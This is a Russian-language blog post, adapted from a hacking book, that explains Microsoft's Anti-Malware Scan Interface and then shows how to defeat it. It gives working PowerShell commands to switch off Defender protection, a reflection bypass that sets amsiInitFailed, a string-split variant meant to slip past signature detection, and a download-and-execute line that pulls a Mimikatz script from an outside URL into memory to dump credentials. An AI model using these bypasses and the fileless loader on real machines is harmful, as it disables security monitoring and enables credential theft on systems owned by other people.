Всем привет.
AMSI (Anti-Malware Scan Interface) - это технология Microsoft, которую разработали для защиты компьютера от вирусов и другой малвари. Впервые была внедрена в Windows 10. AMSI умеет в реальном времени перехватывать и анализировать скрипты JavaScript, VBScript, VBA и команды PowerShell.
Давайте рассмотрим AMSI в действии. В нашем примере Windows Defender - это приложение, которое вызывает API AMSI. Но вы можете вызывать те же API из собственного приложения. Ниже приведен пример сценария, использующего метод кодирования XOR для скрытия его намерения (является ли это намерение неопасным или нет). На рисунке ниже можно представить, что этот сценарий был скачан из Интернета:
Чтобы сделать все более интересными, мы можем ввести этот скрипт вручную в командной строке, чтобы не было фактического файла для отслеживания. Это отражает то, что называется "без файловой угрозы". Это не так просто, как сканирование файлов на диске. Угроза может быть backdoor, который живет только в памяти компьютера.
Ниже приведен результат выполнения скрипта в Windows
PowerShell. Вы увидите, что Защитник Windows может обнаружить пример теста AMSI в этом сложном сценарии, просто используя стандартную сигнатуру тестов AMSI.
Но AMSI не так страшен(силен) как им пугают. Допустим нам требуется обойти AMSI чтобы иметь возможность загрузить Mimikatz в память. Если мы в своём огороде являемся администраторами, мы можем просто отключить AMSI воспользовавшись встроенной командой Set-MpPreference (в режиме с повышенными правами):
Set-MpPreference -DisableIOAVProtection $true
# variant 1
К счастью, у нас имеется иной вариант, который должен вызывать намного меньше шума в системе мониторинга:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('a msiInitFailed','NonPublic,Static').SetValue($null,$true)
# variant 2
Еще один вариант можно отыскать в интересной компиляции обхода (автор идеи Сэм Рэйтаншок) находящегося в папке Bypass в файле Invoke-AmsiBypass.ps1:
$utils = [Ref].Assembly.GetType('System.Management.Automation.Am'+'siUtils')
Затем мы выполняем выборку ссылки на значение атрибута amsiInitFailed и устанавливаем его в True. Во избежание какого бы то ни было полагающегося на лёгкое соответствие шаблону обнаружения мы пробрасываем это в небольшой конкатенации строки:
$field = $utils.GetField('amsi'+'InitF'+'ailed','NonPublic,Static')
$field.SetValue($null,$true)
Готово, теперь запускаем на исполнение Mimikatz при отключенном AMSI:
$browser = New-Object System.Net.WebClient
$file="https://sf-res.com/Invoke-mimi.ps1"
IEX($browser.DownloadString($file))
Invoke-Mimikatz
По материалам книги Спарка Флоу "Как заниматься взломом словно легенда. Прорываемся в Windows", Copyright (С) 2022 Sparc Flow, No Starch Press, Inc.
Удачи!
No comments:
Post a Comment
А что вы думаете по этому поводу?